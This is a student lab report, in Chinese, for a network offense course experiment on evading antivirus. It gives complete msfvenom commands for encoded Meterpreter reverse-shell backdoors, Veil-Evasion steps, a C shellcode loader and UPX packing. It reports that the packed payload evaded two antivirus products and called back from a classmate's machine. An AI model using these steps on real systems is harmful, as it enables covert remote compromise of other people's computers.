2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践
一、实验内容
二、实验步骤
1、使用msf编码器msfvenom生成后门程序
- 使用
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.196.200 LPORT=5315 -f exe > msf5315.exe
指令进行多次编码,生成.exe的后门程序
- 放到windows系统中,果不其然,杀软可以发现它
- 使用virscan进行扫描,结果如下所示:
有超过一半的杀软能查杀该后门程序
- 用
msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.196.200 lport=5315 x> 5315met.jar
生成.jar的后门程序
- 使用msfconsole回连成功
- 放到windows系统中,杀软并没有发现它...我觉得可能是我的杀软太垃圾了...
- 使用virscan进行扫描,结果如下所示:
虽然好像检测率降低了,但是没有实现免杀,提示警告信息
2、使用veil-evasion生成后门程序
- 安装veil-evasion(参考安装教程)
使用代理安装的,有些包会下载安装失败,可以提前安装这些包,指令如下:(可以不做这一步)
# apt-get install libncurses5*
# apt-get install libavutil55*
# apt-get install gcc-mingw-w64*
# apt-get install wine32
再使用如下指令进行后续安装
# git clone https://github.com/Veil-Framework/Veil
# cd Veil/setup/
# ./setup.sh
以上过程比较漫长,需要一些耐心~
- 输入
veil
,启用veil
- 输入
use evasion
,进入veil-evasion - 输入
list
,查看可生成文件的格式
- 输入
use 7
,选择C语言格式 - 依次输入
set LHOST 192.168.196.200
和set LPORT 5315
设置反弹连接IP和端口 - 输入
generate
生成文件,再设置playload的名字:payload5315
- 生成成功
- 放到windows中,显示"文件所在的卷已被外部更改,文件不再有效",经过查杀,发现果然被发现了:
- 使用virscan进行扫描,结果如下所示:
查杀结果依然显示危险
3、利用shellcode编程生成后门程序
- 用
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.196.200 LPORT=5315 -f c
生成一段shellcode
- 利用shellcode编写一个C语言程序后门,再用
i686-w64-mingw32-g++ shellcode5315.c -o shellcode5315.exe
编译运行后,测试其可用性
C语言代码如下:
unsigned char buf[] =
"此处复制粘贴之前用msf生成的buf"
int main()
{
int (*func)() = (int(*)())buf;
func();
}
- 复制到Windows中双击运行时显示"文件所在的卷已被外部更改,文件不再有效",通过查杀发现果然被杀软找到了:
- 使用virscan进行扫描,结果如下所示:
无法实现免杀
对任务一中使用Veil,c/meterpreter/rev_tcp.py生成的
payload5315.exe
可执行文件加UPX压缩壳尝试实现免杀被控机是Win7虚拟机,电脑杀软为腾讯电脑管家13.0.19837.233
- 使用virscan进行扫描,结果如下所示:
- windows杀软没有发现:
- 使用msfconsole回连成功:
不知道为什么,虽然windows杀软没查出来,但是在virscan中反而检测率很高了...
最后一项任务生成的后门程序在自己的windows虚拟机上可以实现免杀,但是在别人的电脑上尝试后发现不能回连,于是我开始找原因(过程令人头秃)...
我们先相互ping一下主机,都发现没有ping通,显示"TTL过期",这是两台主机不在一个网段导致的,于是我们尝试改变了一下网络适配器为“桥接模式”,于是...我的windows 成功的ping通了她的kali,然鹅她的ping不通我的kali,显示“无法访问目标主机”...但是她能ping通我的本机系统
我在网上查了一下,一般回答都列举出以下几个方面
- 本机虚拟机没有关闭防火墙...但是kali没有防火墙,不存在关闭开启之说
- 不在一个网段...这个刚刚修改过网段,不存在这个问题
- 本机网关设置错误...不存在这个问题
- 对方主机没关防火墙...尝试关了之后重启...好像成功了!!但是之前也尝试过关防火墙,但是也没有ping通,不知道这次为什么成功了,可能是因为重启了叭
和任务二一样,对任务一中使用Veil,c/meterpreter/rev_tcp.py生成的payload5315.exe
可执行文件加UPX压缩壳尝试实现免杀
另一台被控机是Win10本机,电脑杀软为金山毒霸11.2019.1.1.032617.1335
- 我将文件发送到目标主机上,用杀软进行查杀,没有发现危险
- 双击运行后,我的kali的console实现回连(对方主机ip为10.1.1.175)
三、实验中遇到的问题
解决过程:
一开始询问其他同学,发现安装好的同学的kali虚拟机是2019版的,而没安装好的同学基本是2018版,可能和虚拟机版和veil版本不匹配有关,于是我重新安装了2019版的kali虚拟机,将之前的文件拷贝进新的虚拟机,最终按照任务中的教程完成安装。
解决过程:
通过学习学姐的博客,发现是python语言不可以使用的问题,所以按照同样的方法,选择别的语言,例如“c”试一下就行了。
解决过程:
一开始使用apt-get install i686-w64-mingw32
指令下载,显示定位不到软件包
后来使用update更新本地软件包后,可正常使用。
解决过程:
通过查询网络,只要关掉杀软就可以解决这个问题,这也从反面证明这个程序被杀软发现了才无法运行,而且通过杀软查杀也发现了该后门程序危险。
四、实验总结
1、基础问题回答
(1)杀软是如何检测出恶意代码的?
(2)免杀是做什么?
(3)免杀的基本方法有哪些?
2、实验总结和收获
这次实验是在前一个后门原理实验上的进阶,需要对后门技术的熟练掌握和运用。虽然此次实验比较基础,对一些现有平台的依赖性仍然很强,但却是一个良好的开端,能够为我们进一步深入研究免杀提供思路。
同时,我在打造免杀软件的过程也增加了危机意识,杀软杀不出来不代表绝对安全。想生成一个不被发现的后门其实也不是什么难事。所以平日要提高安全意识,不要随便在网上下载可执行文件,也不要点击可疑链接,尽量减少被植入后门的可能。
3、离实战还缺少的技术或步骤
我在实验中基本就是跟着指导指令一步一步走,没有什么技术含量,而且实验中的后门程序都是我们直接复制粘贴到靶机上的,但实际攻击的时候是不可能把一个赤裸裸的木马放过去的,所以要用一些木马伪装技术,包括木马捆绑、自解压木马、CHM木马等等。